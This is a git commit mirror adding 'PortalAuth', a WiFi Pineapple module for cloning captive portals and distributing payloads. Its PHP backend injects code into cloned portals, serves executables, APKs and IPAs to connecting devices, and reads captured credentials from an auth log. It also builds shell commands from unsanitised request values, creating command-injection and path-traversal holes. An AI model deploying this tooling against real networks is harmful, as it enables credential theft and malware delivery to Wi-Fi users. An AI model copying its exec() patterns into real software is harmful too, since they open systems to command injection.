mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
Add modules to repository
This commit is contained in:
Sebastian Kinne
2
PortalAuth/README.md
Executable file
2
PortalAuth/README.md
Executable file
@@ -0,0 +1,2 @@
|
||||
# PortalAuth
|
||||
Captive portal cloner and payload distributor for the WiFi Pineapple NANO and TETRA
|
||||
822
PortalAuth/api/module.php
Executable file
822
PortalAuth/api/module.php
Executable file
@@ -0,0 +1,822 @@
|
||||
<?php
|
||||
|
||||
namespace pineapple;
|
||||
|
||||
define('__INCLUDES__', "/pineapple/modules/PortalAuth/includes/");
|
||||
define('__CONFIG__', __INCLUDES__ . "config");
|
||||
define('__AUTHLOG__', "/www/auth.log");
|
||||
|
||||
// Main directory defines
|
||||
define('__LOGS__', __INCLUDES__ . "logs/");
|
||||
define('__HELPFILES__', __INCLUDES__ . "help/");
|
||||
define('__CHANGELOGS__', __INCLUDES__ . "changelog/");
|
||||
define('__SCRIPTS__', __INCLUDES__ . "scripts/");
|
||||
|
||||
// Injection set defines
|
||||
define('__INJECTS__', __SCRIPTS__ . "injects/");
|
||||
define('__SKELETON__', __SCRIPTS__. "skeleton/");
|
||||
|
||||
// NetClient defines
|
||||
define('__DOWNLOAD__', "/www/download/");
|
||||
define('__WINDL__', __DOWNLOAD__ . "windows/");
|
||||
define('__OSXDL__', __DOWNLOAD__ . "osx/");
|
||||
define('__ANDROIDDL__', __DOWNLOAD__ . "android/");
|
||||
define('__IOSDL__', __DOWNLOAD__ . "ios/");
|
||||
|
||||
// PASS defines
|
||||
define('__PASSDIR__', __INCLUDES__ . "pass/");
|
||||
define('__PASSSRV__', __PASSDIR__ . "pass.py");
|
||||
define('__PASSBAK__', __PASSDIR__ . "Backups/pass.py");
|
||||
define('__PASSLOG__', __PASSDIR__ . "pass.log");
|
||||
define('__TARGETLOG__', __PASSDIR__ . "targets.log");
|
||||
define('__CSAPI__', __PASSDIR__ . "NetCli_CS.zip");
|
||||
define('__COMPILEWIN__', __PASSDIR__ . "NetCli_Win.zip");
|
||||
define('__COMPILEOSX__', __PASSDIR__ . "NetCli_OSX.zip");
|
||||
|
||||
|
||||
/*
|
||||
Determine the type of file that has been uploaded and move it to the appropriate
|
||||
directory. If it's a .zip it is an injection set and will be unpacked. If it is
|
||||
an .exe it will be moved to __WINDL__, etc.
|
||||
*/
|
||||
if (!empty($_FILES)) {
|
||||
$response = [];
|
||||
foreach ($_FILES as $file) {
|
||||
$tempPath = $file[ 'tmp_name' ];
|
||||
$name = $file['name'];
|
||||
$type = pathinfo($file['name'], PATHINFO_EXTENSION);
|
||||
|
||||
switch ($type) {
|
||||
case 'exe':
|
||||
$dest = __WINDL__;
|
||||
break;
|
||||
case 'zip':
|
||||
$dest = __OSXDL__;
|
||||
break;
|
||||
case 'apk':
|
||||
$dest = __ANDROIDDL__;
|
||||
break;
|
||||
case 'ipa':
|
||||
$dest = __IOSDL__;
|
||||
break;
|
||||
case 'gz':
|
||||
$dest = __INJECTS__;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
// Ensure the upload directory exists
|
||||
if (!file_exists($dest)) {
|
||||
if (!mkdir($dest, 0755, true)) {
|
||||
PortalAuth::logError("Failed Upload", "Failed to upload " . $file['name'] . " because the directory structure could not be created");
|
||||
}
|
||||
}
|
||||
|
||||
$uploadPath = $dest . $name;
|
||||
$res = move_uploaded_file( $tempPath, $uploadPath );
|
||||
|
||||
if ($res) {
|
||||
if ($type == "gz") {
|
||||
exec(__SCRIPTS__ . "unpackInjectionSet.sh " . $name);
|
||||
}
|
||||
$response[$name] = "Success";
|
||||
} else {
|
||||
$response[$name] = "Failed";
|
||||
}
|
||||
}
|
||||
echo json_encode($response);
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class PortalAuth extends Module
|
||||
{
|
||||
public function route() {
|
||||
switch($this->request->action) {
|
||||
case 'depends':
|
||||
$this->depends($this->request->params);
|
||||
break;
|
||||
case 'getConfigs':
|
||||
$this->getConfigs();
|
||||
break;
|
||||
case 'updateConfigs':
|
||||
$this->saveConfigData($this->request->params);
|
||||
break;
|
||||
case 'checkTestServerConfig':
|
||||
$this->tserverConfigured();
|
||||
break;
|
||||
case 'readLog':
|
||||
$this->retrieveLog($this->request->file, $this->request->type);
|
||||
break;
|
||||
case 'deleteLog':
|
||||
$this->deleteLog($this->request->file);
|
||||
break;
|
||||
case 'isOnline':
|
||||
$this->checkIsOnline();
|
||||
break;
|
||||
case 'checkPortalExists':
|
||||
$this->portalExists();
|
||||
break;
|
||||
case 'getLogs':
|
||||
$this->getLogs($this->request->type);
|
||||
break;
|
||||
case 'getInjectionSets':
|
||||
$this->getInjectionSets();
|
||||
break;
|
||||
case 'clonedPortalExists':
|
||||
$this->clonedPortalExists($this->request->name);
|
||||
break;
|
||||
case 'clonePortal':
|
||||
$this->clonePortal($this->request->name, $this->request->options, $this->request->inject, $this->request->payloads);
|
||||
break;
|
||||
case 'checkPASSRunning':
|
||||
$this->getPID();
|
||||
break;
|
||||
case 'startServer':
|
||||
$this->startServer();
|
||||
break;
|
||||
case 'stopServer':
|
||||
$this->stopServer();
|
||||
break;
|
||||
case 'getCode':
|
||||
$this->loadPASSCode();
|
||||
break;
|
||||
case 'restoreCode':
|
||||
switch($this->request->file) {
|
||||
case 'pass':
|
||||
$this->restoreFile(__PASSSRV__, __PASSBAK__);
|
||||
break;
|
||||
default:
|
||||
$base = __INJECTS__ . $this->request->set . "/";
|
||||
$ext = ($this->request->file == "MyPortal") ? ".php" : ".txt";
|
||||
$path = $base . $this->request->file . $ext;
|
||||
$pathBak = $base . "backups/" . $this->request->file . $ext;
|
||||
$this->restoreFile($path, $pathBak);
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 'saveCode':
|
||||
switch($this->request->file) {
|
||||
case 'pass':
|
||||
$this->saveClonerFile(__PASSSRV__, $this->request->data);
|
||||
break;
|
||||
default:
|
||||
$base = __INJECTS__ . $this->request->set . "/";
|
||||
$ext = ($this->request->file == "MyPortal") ? ".php" : ".txt";
|
||||
$path = $base . $this->request->file . $ext;
|
||||
$this->saveClonerFile($path, $this->request->data);
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 'backupCode':
|
||||
switch($this->request->file) {
|
||||
case 'pass':
|
||||
$this->saveClonerFile(__PASSSRV__, $this->request->data);
|
||||
$this->backupFile(__PASSSRV__, __PASSBAK__);
|
||||
break;
|
||||
default:
|
||||
$base = __INJECTS__ . $this->request->set . "/";
|
||||
$ext = ($this->request->file == "MyPortal") ? ".php" : ".txt";
|
||||
$path = $base . $this->request->file . $ext;
|
||||
$pathBak = $base . "backups/" . $this->request->file . $ext;
|
||||
$this->saveClonerFile($path, $this->request->data);
|
||||
$this->backupFile($path, $pathBak);
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 'clearLog':
|
||||
$this->clearLog($this->request->file);
|
||||
break;
|
||||
case 'download':
|
||||
$this->download($this->request->file);
|
||||
break;
|
||||
case 'getInjectCode':
|
||||
$this->getInjectCode($this->request->injectSet);
|
||||
break;
|
||||
case 'downloadInjectSet':
|
||||
$this->exportInjectionSet($this->request->set);
|
||||
break;
|
||||
case 'deleteInjectSet':
|
||||
$this->deleteInjectionSet($this->request->set);
|
||||
break;
|
||||
case 'createInjectionSet':
|
||||
$this->createInjectionSet($this->request->name);
|
||||
break;
|
||||
case 'getCapturedCreds':
|
||||
$this->getCapturedCreds();
|
||||
break;
|
||||
case 'clearCapturedCreds':
|
||||
$this->clearCapturedCreds();
|
||||
break;
|
||||
case 'getPayloads':
|
||||
$this->getPayloads();
|
||||
break;
|
||||
case 'deletePayload':
|
||||
$this->deletePayload($this->request->filePath);
|
||||
break;
|
||||
case 'cfgUploadLimit':
|
||||
$this->cfgUploadLimit();
|
||||
break;
|
||||
case 'clearDownloads':
|
||||
$this->clearDownloads();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//============================//
|
||||
// DEPENDENCY FUNCTIONS //
|
||||
//============================//
|
||||
|
||||
private function tserverConfigured() {
|
||||
$configs = $this->loadConfigData();
|
||||
if (empty($configs['testSite']) || empty($configs['dataExpected'])) {
|
||||
$this->respond(false);
|
||||
return;
|
||||
}
|
||||
$this->respond(true);
|
||||
}
|
||||
|
||||
private function getConfigs() {
|
||||
$configs = $this->loadConfigData();
|
||||
$this->respond(true, null, $configs);
|
||||
}
|
||||
|
||||
private function depends($action) {
|
||||
$retData = array();
|
||||
exec(__SCRIPTS__ . "depends.sh " . $action, $retData);
|
||||
switch (implode(" ", $retData)) {
|
||||
case 'Installed':
|
||||
$this->respond(true);
|
||||
break;
|
||||
case 'Complete':
|
||||
$this->respond(true);
|
||||
break;
|
||||
default:
|
||||
$this->respond(false);
|
||||
}
|
||||
}
|
||||
|
||||
//======================//
|
||||
// MISC FUNCTIONS //
|
||||
//======================//
|
||||
|
||||
private function checkIsOnline() {
|
||||
$this->respond(checkdnsrr("wifipineapple.com", "A"));
|
||||
}
|
||||
private function getCapturedCreds() {
|
||||
if (file_exists(__AUTHLOG__)) {
|
||||
$this->respond(true, null, file_get_contents(__AUTHLOG__));
|
||||
return;
|
||||
}
|
||||
$this->respond(false);
|
||||
}
|
||||
|
||||
private function clearCapturedCreds() {
|
||||
$res = true;
|
||||
if (file_exists(__AUTHLOG__)) {
|
||||
$fh = fopen(__AUTHLOG__, "w");
|
||||
$res = ($fh) ? true : false;
|
||||
fclose($fh);
|
||||
}
|
||||
$this->respond($res);
|
||||
return $res;
|
||||
}
|
||||
|
||||
private function respond($success, $msg = null, $data = null) {
|
||||
$this->response = array("success" => $success,"message" => $msg, "data" => $data);
|
||||
}
|
||||
|
||||
//========================//
|
||||
// PORTAL FUNCTIONS //
|
||||
//========================//
|
||||
|
||||
private function portalExists() {
|
||||
$configs = $this->loadConfigData();
|
||||
$pageData = [];
|
||||
exec("curl " . $configs['testSite'], $pageData);
|
||||
if (strcmp($pageData[0], $configs['dataExpected']) == 0) {
|
||||
$this->respond(false);
|
||||
} else {
|
||||
$this->respond(true);
|
||||
}
|
||||
}
|
||||
|
||||
private function clonePortal($name, $opts, $injectionSet, $payloads) {
|
||||
|
||||
$configs = $this->loadConfigData();
|
||||
if ($this->clonedPortalExists($name)) {
|
||||
// Delete the current portal
|
||||
$this->rrmdir($configs['p_archive'] . $name);
|
||||
}
|
||||
|
||||
// If injectSet is Payloader we need to clone the set
|
||||
// modify the contents to match the supplied payloads
|
||||
// and pass in the clone as --injectSet
|
||||
|
||||
$clonedSet = false;
|
||||
if ($injectionSet == "Payloader") {
|
||||
|
||||
// Make a copy of the Payloader injection set
|
||||
$clonedSet = $this->cloneInjectionSet("Payloader");
|
||||
if (!$clonedSet) {
|
||||
$this->respond(false);
|
||||
return;
|
||||
}
|
||||
|
||||
// Add the payload paths to the cloned injection set
|
||||
$injectphp = file_get_contents(__INJECTS__ . $clonedSet . "/injectPHP.txt");
|
||||
|
||||
$payloadArr = json_decode($payloads);
|
||||
foreach ($payloadArr as $payloadType => $payloadName) {
|
||||
if ($payloadType == "windows") {
|
||||
$injectphp = str_replace("<EXE>", $payloadName, $injectphp);
|
||||
} else if ($payloadType == "osx") {
|
||||
$injectphp = str_replace("<APP>", $payloadName, $injectphp);
|
||||
} else if ($payloadType == "android") {
|
||||
$injectphp = str_replace("<APK>", $payloadName, $injectphp);
|
||||
} else if ($payloadType == "ios") {
|
||||
$injectphp = str_replace("<IPA>", $payloadName, $injectphp);
|
||||
}
|
||||
}
|
||||
|
||||
// Overwrite InjectPHP in the cloned set
|
||||
file_put_contents(__INJECTS__ . $clonedSet . "/injectPHP.txt", $injectphp);
|
||||
|
||||
// Use the cloned set instead of the Payloader template
|
||||
$injectionSet = $clonedSet;
|
||||
|
||||
}
|
||||
|
||||
// Build a params dictionary
|
||||
$params = array();
|
||||
$params['--portalName'] = $name;
|
||||
$params['--portalArchive'] = $configs['p_archive'];
|
||||
$params['--url'] = $configs['testSite'];
|
||||
$params['--injectSet'] = $injectionSet;
|
||||
|
||||
// Options come in the form of a semi-colon delimited string
|
||||
// i.e. stripjs;injectcss;injectjs
|
||||
// This block simply sets them as a new key in params with a null
|
||||
// value since they are command line switches
|
||||
if (strlen($opts) > 0) {
|
||||
foreach (explode(";", $opts) as $opt) {
|
||||
$key = "--" . $opt;
|
||||
$params[$key] = null;
|
||||
}
|
||||
}
|
||||
|
||||
// Build the argument string
|
||||
$argString = "";
|
||||
foreach ($params as $k => $v) {
|
||||
if ($v == null) {
|
||||
$argString .= " $k";
|
||||
} else {
|
||||
$argString .= " $k $v";
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
$this->respond(false, "python portalclone.py $argString");
|
||||
return;
|
||||
*/
|
||||
|
||||
$data = array();
|
||||
$res = exec("python " . __SCRIPTS__ . "portalclone.py" . $argString ." 2>&1", $data);
|
||||
|
||||
// If Payloader was used then delete the cloned directory
|
||||
if ($clonedSet) {
|
||||
if (!$this->deleteInjectionSet($clonedSet)) {
|
||||
$this->logError("Payloader_Cleanup", "Failed to remove clone of Payloader at " . __INJECTS__ . $clonedSet);
|
||||
}
|
||||
}
|
||||
|
||||
// Check if the clone was successful
|
||||
if ($res == "Complete") {
|
||||
$this->respond(true);
|
||||
return;
|
||||
}
|
||||
$this->logError("clone_error", implode("\r\n",$data));
|
||||
$this->respond(false);
|
||||
}
|
||||
|
||||
private function clonedPortalExists($name) {
|
||||
$configs = $this->loadConfigData();
|
||||
if (file_exists($configs['p_archive'] . $name)) {
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
//======================//
|
||||
// PASS FUNCTIONS //
|
||||
//======================//
|
||||
|
||||
private function startServer() {
|
||||
$ret = exec("python " . __PASSSRV__ . " > /dev/null 2>&1 &");
|
||||
if ($this->getPID() != false) {
|
||||
$dt = array();
|
||||
exec("date +'%m/%d/%Y %T'", $dt);
|
||||
$fh = fopen(__PASSLOG__, "a");
|
||||
fwrite($fh, "[!] " . $dt[0] . " - Starting server...\r\n");
|
||||
fclose($fh);
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
$this->logError("PASS_Server", "Failed to start server.");
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
private function stopServer() {
|
||||
$pid = $this->getPID();
|
||||
if ($pid != false) {
|
||||
$ret = exec("kill " . $pid);
|
||||
if ($this->getPID() != false) {
|
||||
$this->logError("PASS_Server", "Failed to stop PASS server. PID = " . $pid);
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
$dt = array();
|
||||
exec("date +'%m/%d/%Y %T'", $dt);
|
||||
$fh = fopen(__PASSLOG__, "a");
|
||||
fwrite($fh, "[!] " . $dt[0] . " - Server stopped\r\n");
|
||||
fclose($fh);
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
|
||||
private function getPID() {
|
||||
$data = array();
|
||||
$ret = exec("pgrep -lf pass.py", $data);
|
||||
$output = explode(" ", $data[0]);
|
||||
if ($output[1] == "python") {
|
||||
$this->respond(true, null, $output[0]);
|
||||
return $output[0];
|
||||
}
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
private function loadPASSCode() {
|
||||
$data = file_get_contents(__PASSSRV__);
|
||||
if (!$data) {
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
$this->respond(true, null, $data);
|
||||
return $data;
|
||||
}
|
||||
|
||||
//===========================//
|
||||
// FILE SAVE FUNCTIONS //
|
||||
//===========================//
|
||||
|
||||
private function saveClonerFile($filename, $data) {
|
||||
$fh = fopen($filename, "w+");
|
||||
if ($fh) {
|
||||
fwrite($fh, $data);
|
||||
fclose($fh);
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
private function saveConfigData($data) {
|
||||
$fh = fopen(__CONFIG__, "w+");
|
||||
if ($fh) {
|
||||
foreach ($data as $key => $value) {
|
||||
fwrite($fh, $key . "=" . $value . "\n");
|
||||
}
|
||||
fclose($fh);
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
private function loadConfigData() {
|
||||
$configs = array();
|
||||
$config_file = fopen(__CONFIG__, "r");
|
||||
if ($config_file) {
|
||||
while (($line = fgets($config_file)) !== false) {
|
||||
$item = explode("=", $line, 2);
|
||||
$key = $item[0]; $val = trim($item[1]);
|
||||
$configs[$key] = $val;
|
||||
}
|
||||
}
|
||||
fclose($config_file);
|
||||
return $configs;
|
||||
}
|
||||
|
||||
private function backupFile($fileName, $backupFile) {
|
||||
// Attempt to create a backups directory in case it doesn't exist
|
||||
mkdir(dirname($backupFile));
|
||||
if (copy($fileName, $backupFile)) {
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
//==================================//
|
||||
// FILE RESTORATION FUNCTIONS //
|
||||
//==================================//
|
||||
|
||||
private function restoreFile($oldFile, $newFile) {
|
||||
$fileData = file_get_contents($newFile);
|
||||
if ($fileData) {
|
||||
$this->saveClonerFile($oldFile, $fileData);
|
||||
$this->respond(true, null, $fileData);
|
||||
return $fileData;
|
||||
}
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
//===============================//
|
||||
// INJECTION SET FUNCTIONS //
|
||||
//===============================//
|
||||
|
||||
private function createInjectionSet($setName) {
|
||||
// Check if the directory exists
|
||||
if (file_exists(__INJECTS__ . $setName)) {
|
||||
$this->logError("New_Injection_Set", "Failed to create new injection set because the name provided is already in use.");
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create a directory for the set
|
||||
if (!mkdir(__INJECTS__ . $setName)) {
|
||||
$this->logError("New_Injection_Set", "Failed to create directory structure");
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
// Create each of the Inject files
|
||||
foreach (scandir(__SKELETON__) as $file) {
|
||||
if ($file == "." || $file == "..") {continue;}
|
||||
if (!copy(__SKELETON__ . $file, __INJECTS__ . $setName . "/" . $file)) {
|
||||
$this->logError("Injection_Set_Creation_Error", "Failed to create the following file: " . $file);
|
||||
}
|
||||
}
|
||||
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
|
||||
private function cloneInjectionSet($set) {
|
||||
|
||||
// Create a random name for the cloned directory
|
||||
do {
|
||||
$newDir = $set . "-" . substr(md5(rand()), 0, 5);
|
||||
} while (file_exists(__INJECTS__ . $newDir));
|
||||
|
||||
// Create the new directory
|
||||
if (!mkdir(__INJECTS__ .$newDir)) {
|
||||
$this->logError("Injection_Set_Clone_Error", "Failed to create root directory");
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Copy the files from the original to the new
|
||||
$sourceDir = __INJECTS__ . $set . "/";
|
||||
$destDir = __INJECTS__ . $newDir . "/";
|
||||
foreach (scandir($sourceDir) as $file) {
|
||||
if ($file == "." || $file == ".." || $file == "backups") {continue;}
|
||||
if (!copy($sourceDir . $file, $destDir . $file)) {
|
||||
$this->logError("Injection_Set_Clone_Error", "Failed to create the following file: " . $file);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Change the permissions on the copied file
|
||||
chmod($destDir . $file, 0755);
|
||||
}
|
||||
|
||||
// This returns the name of the directory that was cloned
|
||||
return $newDir;
|
||||
}
|
||||
|
||||
private function exportInjectionSet($setName) {
|
||||
|
||||
if (!file_exists(__INCLUDES__ . "downloads")) {
|
||||
mkdir(__INCLUDES__ . "downloads");
|
||||
}
|
||||
|
||||
$data = array();
|
||||
$res = exec(__SCRIPTS__ . "packInjectionSet.sh " . $setName, $data);
|
||||
if ($res != "Complete") {
|
||||
$this->logError("Injection_Set_Export", $data);
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
$file = __INCLUDES__ . "downloads/" . $setName . ".tar.gz";
|
||||
$this->respond(true, null, $this->downloadFile($file));
|
||||
return true;
|
||||
}
|
||||
|
||||
private function getInjectionSets() {
|
||||
$dirs = scandir(__INJECTS__);
|
||||
array_shift($dirs); array_shift($dirs);
|
||||
array_unshift($dirs, "Select...");
|
||||
$this->respond(true, null, $dirs);
|
||||
}
|
||||
|
||||
private function getInjectCode($set) {
|
||||
$failed = false;
|
||||
$injectFiles = array();
|
||||
if (!$injectFiles['injectjs'] = $this->getInjectionFile("injectJS.txt", $set)){
|
||||
$failed = true;
|
||||
}
|
||||
if (!$injectFiles['injectcss'] = $this->getInjectionFile("injectCSS.txt", $set)) {
|
||||
$failed = true;
|
||||
}
|
||||
if (!$injectFiles['injecthtml'] = $this->getInjectionFile("injectHTML.txt", $set)) {
|
||||
$failed = true;
|
||||
}
|
||||
if (!$injectFiles['MyPortal'] = $this->getInjectionFile("MyPortal.php", $set)) {
|
||||
$failed = true;
|
||||
}
|
||||
if (!$injectFiles['injectphp'] = $this->getInjectionFile("injectPHP.txt", $set)) {
|
||||
$failed = true;
|
||||
}
|
||||
if ($failed) {
|
||||
$this->logError("Retrieve_Injection_Set", "Failed to retrieve all files from the selected injection set.");
|
||||
}
|
||||
$this->respond(true, null, $injectFiles);
|
||||
return true;
|
||||
}
|
||||
|
||||
private function getInjectionFile($fileName, $setName) {
|
||||
if (file_exists(__INJECTS__ . $setName . "/" . $fileName)) {
|
||||
return file_get_contents(__INJECTS__ . $setName . "/" . $fileName);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private function deleteInjectionSet($setName) {
|
||||
$this->rrmdir(__INJECTS__ . $setName);
|
||||
if (is_dir(__INJECTS__ . $setName)) {
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
|
||||
//=========================//
|
||||
// PAYLOAD FUNCTIONS //
|
||||
//=========================//
|
||||
|
||||
private function getPayloads() {
|
||||
$files = [];
|
||||
|
||||
foreach ([__WINDL__, __OSXDL__, __ANDROIDDL__, __IOSDL__] as $dir) {
|
||||
foreach (scandir($dir) as $file) {
|
||||
if ($file == "." || $file == "..") {continue;}
|
||||
$files[$file] = $dir;
|
||||
}
|
||||
}
|
||||
$this->respond(true, null, $files);
|
||||
return $files;
|
||||
}
|
||||
|
||||
private function deletePayload($filePath) {
|
||||
if (!unlink($filePath)) {
|
||||
$this->logError("Delete Payload", "Failed to delete payload at path " . $filePath);
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
|
||||
private function cfgUploadLimit() {
|
||||
$data = array();
|
||||
$res = exec("python " . __SCRIPTS__ . "cfgUploadLimit.py > /dev/null 2>&1 &", $data);
|
||||
if ($res != "") {
|
||||
$this->logError("cfg_upload_limit_error", $data);
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
|
||||
//=========================================//
|
||||
// ACTIVITY AND TARGET LOG FUNCTIONS //
|
||||
//=========================================//
|
||||
|
||||
private function clearLog($log) {
|
||||
if ($log == "activity") {
|
||||
$fh = fopen(__PASSLOG__, "w+");
|
||||
fclose($fh);
|
||||
$this->respond(true, null, file_get_contents(__PASSLOG__));
|
||||
return file_get_contents(__PASSLOG__);
|
||||
} else if ($log == "targets") {
|
||||
$fh = fopen(__TARGETLOG__, "w+");
|
||||
fclose($fh);
|
||||
$this->respond(true, null, file_get_contents(__TARGETLOG__));
|
||||
return file_get_contents(__TARGETLOG__);
|
||||
}
|
||||
}
|
||||
|
||||
private function download($file) {
|
||||
if ($file == "activity") {
|
||||
$this->respond(true, null, $this->downloadFile(__PASSLOG__));
|
||||
} else if ($file == "targets") {
|
||||
$this->respond(true, null, $this->downloadFile(__TARGETLOG__));
|
||||
} else if ($file == "networkclient_windows") {
|
||||
$this->respond(true, null, $this->downloadFile(__COMPILEWIN__));
|
||||
} else if ($file == "networkclient_osx") {
|
||||
$this->respond(true, null, $this->downloadFile(__COMPILEOSX__));
|
||||
} else if ($file == "networkclient_cs_api") {
|
||||
$this->respond(true, null, $this->downloadFile(__CSAPI__));
|
||||
}
|
||||
}
|
||||
|
||||
private function clearDownloads() {
|
||||
$files = scandir(__INCLUDES__ . "downloads/");
|
||||
foreach ($files as $file) {
|
||||
if ($file == "." || $file == "..") {continue;}
|
||||
if (!unlink(__INCLUDES__ . "downloads/" . $file)) {
|
||||
$this->logError("Delete", "Failed to delete file " . __INCLUDES__ . "downloads/" . $file);
|
||||
}
|
||||
}
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
|
||||
//===========================//
|
||||
// ERROR LOG FUNCTIONS //
|
||||
//===========================//
|
||||
|
||||
public static function logError($filename, $data) {
|
||||
$time = exec("date +'%H_%M_%S'");
|
||||
$fh = fopen(__LOGS__ . $filename . "_" . $time . ".txt", "w+");
|
||||
fwrite($fh, $data);
|
||||
fclose($fh);
|
||||
}
|
||||
|
||||
private function getLogs($type) {
|
||||
$dir = ($type == "error") ? __LOGS__ : __CHANGELOGS__;
|
||||
$contents = array();
|
||||
foreach (scandir($dir) as $log) {
|
||||
if ($log == "." || $log == "..") {continue;}
|
||||
array_push($contents, $log);
|
||||
}
|
||||
$this->respond(true, null, $contents);
|
||||
}
|
||||
|
||||
private function retrieveLog($logname, $type) {
|
||||
switch($type) {
|
||||
case "error":
|
||||
$dir = __LOGS__;
|
||||
break;
|
||||
case "help":
|
||||
$dir = __HELPFILES__;
|
||||
break;
|
||||
case "change":
|
||||
$dir = __CHANGELOGS__;
|
||||
break;
|
||||
case "pass":
|
||||
$dir = __PASSDIR__;
|
||||
break;
|
||||
}
|
||||
$data = file_get_contents($dir . $logname);
|
||||
if (!$data) {
|
||||
$this->respond(false);
|
||||
return;
|
||||
}
|
||||
$this->respond(true, null, $data);
|
||||
}
|
||||
|
||||
private function deleteLog($logname) {
|
||||
$res = unlink(__LOGS__ . $logname);
|
||||
$this->respond($res);
|
||||
return $res;
|
||||
}
|
||||
|
||||
private function rrmdir($dir) {
|
||||
if (is_dir($dir)) {
|
||||
$objects = scandir($dir);
|
||||
foreach ($objects as $object) {
|
||||
if ($object != "." && $object != "..") {
|
||||
if (filetype($dir."/".$object) == "dir") {
|
||||
$this->rrmdir($dir."/".$object);
|
||||
} else {
|
||||
unlink($dir."/".$object);
|
||||
}
|
||||
}
|
||||
}
|
||||
reset($objects);
|
||||
rmdir($dir);
|
||||
}
|
||||
}
|
||||
}
|
||||
1
PortalAuth/includes/changelog/Version 1.0
Executable file
1
PortalAuth/includes/changelog/Version 1.0
Executable file
@@ -0,0 +1 @@
|
||||
Module created.
|
||||
3
PortalAuth/includes/changelog/Version 1.1
Executable file
3
PortalAuth/includes/changelog/Version 1.1
Executable file
@@ -0,0 +1,3 @@
|
||||
July 16, 2016
|
||||
<br /><br />
|
||||
- Added C# Payload API to force authorization in C# applications with the Payloader injection set and PASS.
|
||||
7
PortalAuth/includes/changelog/Version 1.2
Executable file
7
PortalAuth/includes/changelog/Version 1.2
Executable file
@@ -0,0 +1,7 @@
|
||||
September 11, 2016
|
||||
<br /><br />
|
||||
- Renamed NetCli tab to Payloads and added a payload manager<br />
|
||||
- Added functionality to import injection sets<br />
|
||||
- Updated UI<br />
|
||||
- Added backend method to clear downloads directory when PortalAuth is launched<br />
|
||||
- Changed Payloader injection set to easily point to payload files (see InjectPHP)<br />
|
||||
4
PortalAuth/includes/changelog/Version 1.3
Executable file
4
PortalAuth/includes/changelog/Version 1.3
Executable file
@@ -0,0 +1,4 @@
|
||||
September 15, 2016
|
||||
<br /><br />
|
||||
- Fixed bug that caused the Test Site field to not load the GET request portion of a URL<br />
|
||||
- Removed old, unused, code for auto authentication and MAC collection<br />
|
||||
7
PortalAuth/includes/changelog/Version 1.4
Executable file
7
PortalAuth/includes/changelog/Version 1.4
Executable file
@@ -0,0 +1,7 @@
|
||||
June 10, 2017
|
||||
<br /><br />
|
||||
- The default captive portal test page can now be reached over HTTPS<br />
|
||||
- Added dependency for curl to support access to Test Site over HTTPS<br />
|
||||
- Portal cloning is now multithreaded which makes it slightly faster<br />
|
||||
- Added ability to select payloads for target OSes in the cloner options window<br />
|
||||
|
||||
3
PortalAuth/includes/config
Executable file
3
PortalAuth/includes/config
Executable file
@@ -0,0 +1,3 @@
|
||||
testSite=
|
||||
dataExpected=
|
||||
p_archive=/root/portals/
|
||||
27
PortalAuth/includes/help/cloner.help
Executable file
27
PortalAuth/includes/help/cloner.help
Executable file
@@ -0,0 +1,27 @@
|
||||
<strong>Portal Name</strong><br />
|
||||
This will be the name of the cloned portal in your portal archive directory. <strong>It must not contain any spaces!</strong>
|
||||
<br /><br />
|
||||
|
||||
<strong>Injection Set</strong><br />
|
||||
The set of code you want to inject into the cloned portal.
|
||||
<br /><br />
|
||||
|
||||
<strong>Payloads</strong><br />
|
||||
This option is only visible when the Payloader injection set is selected.<br />
|
||||
Select a payload to deliver to each type of system that connects to the captive portal. If you don't select a payload then the target will
|
||||
download the Default Payload. For example, if you don't select a payload for OS X and your Default Payload is set to Windows, then when a
|
||||
Mac connects to your captive portal it will download the payload you assigned to Windows. If only one OS is assigned a payload it automatically
|
||||
becomes the Default Payload.
|
||||
<br /><br />
|
||||
|
||||
<strong>Strips and Injects</strong><br />
|
||||
Select these checkboxes to modify the cloned portal.<br /><br />
|
||||
|
||||
<strong>Strip Links:</strong> Strips out links from the portal so the target can't click away from the page.<br />
|
||||
<strong>Strip Inline JS:</strong> Strips out any JavaScript embedded in the portal.<br />
|
||||
